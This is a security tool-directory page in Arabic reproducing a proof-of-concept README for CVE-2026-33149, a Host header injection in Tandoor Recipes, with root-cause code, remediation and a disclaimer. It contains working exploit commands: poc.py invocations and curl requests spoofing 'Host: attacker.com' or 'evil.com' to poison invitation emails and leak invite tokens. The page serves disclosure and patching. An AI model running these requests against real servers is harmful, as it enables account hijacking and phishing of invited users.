Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33149-PoC — إثبات مفهوم لاستغلال CVE-2026-33149، وهو حقن في ترويسة المضيف (Host header) في تطبيق Tandoor Recipes يتيح تسميم روابط الدعوات وتسميم ذاكرة التخزين المؤقت. يتضمن وحدات لقبول المضيف، والترقيم الصفحي، والمخطط، وتسميم الدعوات. | Kitploit
أدوات/GitHubGitHub/filipegaudard/cve-2026-33149-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتصيد الاحتياليأمن الويباختبار الاختراق
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

إثبات مفهوم لاستغلال CVE-2026-33149، وهو حقن في ترويسة المضيف (Host header) في تطبيق Tandoor Recipes يتيح تسميم روابط الدعوات وتسميم ذاكرة التخزين المؤقت. يتضمن وحدات لقبول المضيف، والترقيم الصفحي، والمخطط، وتسميم الدعوات.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33149 — حقن ترويسة المضيف في Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


الملخص

يضبط Tandoor Recipes قيمة ALLOWED_HOSTS = '*' افتراضيًا في settings.py، مما يجعل Django يقبل أي قيمة في ترويسة Host الخاصة بـ HTTP دون تحقق. يستخدم التطبيق لتوليد عناوين URL مطلقة في سياقات متعددة حساسة أمنيًا. يمكن للمهاجم الذي يستطيع إرسال طلبات بترويسة مزيّفة إعادة توجيه جميع عناوين URL المولّدة من الخادم إلى نطاق يتحكم به المهاجم.

request.build_absolute_uri()
Host

التأثير الأكثر خطورة هو تسميم روابط الدعوات: عندما ينشئ المسؤول دعوة مستخدم، يحتوي البريد الإلكتروني المرسل من الخادم على رابط يشير إلى نطاق المهاجم. ينقر الضحية على بريد إلكتروني يبدو شرعيًا، ويتم تسريب رمز الدعوة، ويستخدمه المهاجم لاختطاف عملية توفير الحساب.

تفاصيل الثغرة

الحقلالقيمة
معرف CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — تحييد غير صحيح لترويسات HTTP لصياغة البرمجة النصية
CVSS v3.18.1 عالية — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
الإصدار المتأثرTandoor Recipes ≤ 2.5.3
البائعTandoorRecipes/recipes

تعيين MITRE ATT&CK

معرف التقنيةالاسمالصلة
T1557خصم في المنتصفالتلاعب بعناوين URL المولّدة من الخادم لإعادة توجيه حركة المرور
T1566.002التصيد: رابط التصيد الموجهبريد الدعوة المسموم يحتوي على رابط يتحكم به المهاجم

تحليل السبب الجذري

1. ALLOWED_HOSTS ببدل شامل

الملف: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

يُعد ALLOWED_HOSTS في Django إجراءً أمنيًا يتحقق من ترويسة Host مقابل قائمة بيضاء. يؤدي البدل الشامل '*' إلى تعطيل هذا التحقق تمامًا، مما يسمح بأي قيمة عشوائية.

2. توليد عناوين URL غير آمن في رسائل الدعوة

الملف: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

يبني request.build_absolute_uri() عناوين URL باستخدام request.get_host()، الذي يعيد قيمة ترويسة Host الخام عندما لا يقيدها ALLOWED_HOSTS. يتم تضمين معرّف الدعوة UUID — وهو رمز سري — في عنوان URL الذي يشير الآن إلى المهاجم.

3. أسطح إضافية متأثرة

  • ترقيم صفحات API — تستخدم فئات ترقيم الصفحات في DRF build_absolute_uri() لعناوين URL الخاصة بـ next/previous
  • مخطط OpenAPI — يستخدم مولّد المخطط هذه الدالة لعناوين URL الخاصة بالخادم
  • تسميم ذاكرة التخزين المؤقت — النشرات التي تستخدم وكلاء تخزين مؤقت معرضة لخطر تقديم عناوين URL مسمومة لجميع المستخدمين من طلب واحد

سير الهجوم

root@kitploit:~
┌──────────┐     ① طلب مزيّف         ┌─────────────────┐
│ المهاجم  │ ──────────────────────────────→│  خادم Tandoor │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             تستخدم "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  خادم SMTP    │
                                            └────────┬───────┘
                                                     │
                                       ③ بريد إلكتروني برابط مسموم:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    الضحية      │
                                            │  (ينقر على الرابط) │
                                            └────────┬───────┘
                                                     │
                                          ④ إرسال UUID إلى المهاجم
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   المهاجم      │
                                            │ يستخدم UUID في │
                                            │ الخادم الحقيقي │
                                            └────────────────┘

إثبات المفهوم

المتطلبات

  • Python 3.8+
  • مكتبة requests
root@kitploit:~
pip install requests

الاستخدام

root@kitploit:~
# تشغيل جميع وحدات التحقق مع المصادقة الأساسية
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# تشغيل جميع الوحدات مع ملفات تعريف الارتباط للجلسة
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# تسميم رابط الدعوة فقط
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

الوحدات

الوحدةالوصف
host-acceptيتحقق من أن الهدف يقبل ترويسات Host عشوائية (ALLOWED_HOSTS = '*')
paginationيؤكد أن عناوين URL الخاصة بترقيم صفحات API تعكس النطاق المحقون
schemaيؤكد أن عناوين URL الخاصة بخادم مخطط OpenAPI تعكس النطاق المحقون
inviteينشئ رابط دعوة مسمومًا — ناقل الهجوم الأساسي
allيشغل جميع الوحدات بالتسلسل

التحقق اليدوي (curl)

1. قبول ترويسة المضيف

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# المتوقع: 200 (ثغرة) | 400 (تم التصحيح)

2. انعكاس عنوان URL الخاص بترقيم الصفحات

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# المتوقع: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. انعكاس عنوان URL الخاص بالمخطط

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# المتوقع: http://evil.com/...

4. تسميم رابط الدعوة

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# يتلقى الضحية بريدًا إلكترونيًا: "Click: http://attacker.com/invite/<uuid>"

التأثير

مجال التأثيرالوصفالخطورة
اختطاف رمز الدعوةيلتقط المهاجم معرّف UUID الخاص بالدعوة عبر رابط بريد مسموم، مختطفًا عملية توفير الحسابحرجة
تصيد بيانات الاعتماديصل الضحية إلى نطاق يتحكم به المهاجم متوقعًا صفحة تسجيل شرعيةعالية
تسميم ذاكرة التخزين المؤقتفي النشرات التي تستخدم وكلاء تخزين مؤقت، يلوث استجابة مسمومة واحدة ذاكرة التخزين المؤقت لجميع المستخدمينعالية
تضليل عملاء APIتعيد عناوين URL الخاصة بترقيم الصفحات والمخطط توجيه مستهلكي API إلى بنية المهاجم التحتيةمتوسطة

المعالجة

الإصلاح الفوري

اضبط ALLOWED_HOSTS لسرد أسماء المضيفين الصالحة لديك صراحةً:

root@kitploit:~
# docker-compose.yml أو .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

الدفاع في العمق

  1. التحقق عبر الوكيل العكسي — قم بإعداد Nginx/Apache لرفض الطلبات ذات ترويسات Host غير المتوقعة قبل وصولها إلى Django
  2. USE_X_FORWARDED_HOST = False — تأكد من أن Django لا يثق في X-Forwarded-Host من مصادر غير موثوقة (الافتراضي هو False)
  3. تقوية روابط SMTP — استخدم إعداد SITE_URL صريحًا لتوليد روابط البريد الإلكتروني بدلاً من الاعتماد على request.build_absolute_uri()

المراجع

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: تحييد غير صحيح لترويسات HTTP
  • توثيق Django لـ ALLOWED_HOSTS
  • MITRE ATT&CK T1557 — خصم في المنتصف
  • MITRE ATT&CK T1566.002 — التصيد: رابط التصيد الموجه

إخلاء المسؤولية

يُقدَّم إثبات المفهوم هذا لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة.


المؤلف

Filipe Gaudard — باحث أمن هجومي | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
تنزيل الأداة